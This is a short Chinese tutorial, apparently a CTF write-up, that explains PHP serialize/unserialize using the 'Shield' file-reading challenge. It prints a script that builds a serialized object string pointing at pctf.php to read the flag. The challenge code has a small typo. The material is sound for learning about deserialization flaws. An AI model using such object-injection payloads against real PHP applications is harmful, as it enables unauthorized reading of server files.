什么是反序列化?
在我们讲PHP反序列化的时候,基本都是围绕着serialize(),unserialize()这两个函数。那么什么是序列化呢,序列化说通俗点就是把一个对象变成可以传输的字符串。举个例子,不知道大家知不知道json格式,这就是一种序列化,有可能就是通过array序列化而来的。而反序列化就是把那串可以传输的字符串再变回对象。
反序列化中的解释:
拿一个神盾局的秘密来实验一下php的反序列化
拿到题目源码:
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filena }
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
代码审计可知需要用到反序列化,并且flag在pctf.php中
解反序列化脚本:
<?php
class Shield {
public $file = "pctf.php";
}
$chybeta = new Shield();
print_r(serialize($chybeta));
?>
得到反序列化字符串:O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;}
此处可以口算也可以用脚本跑。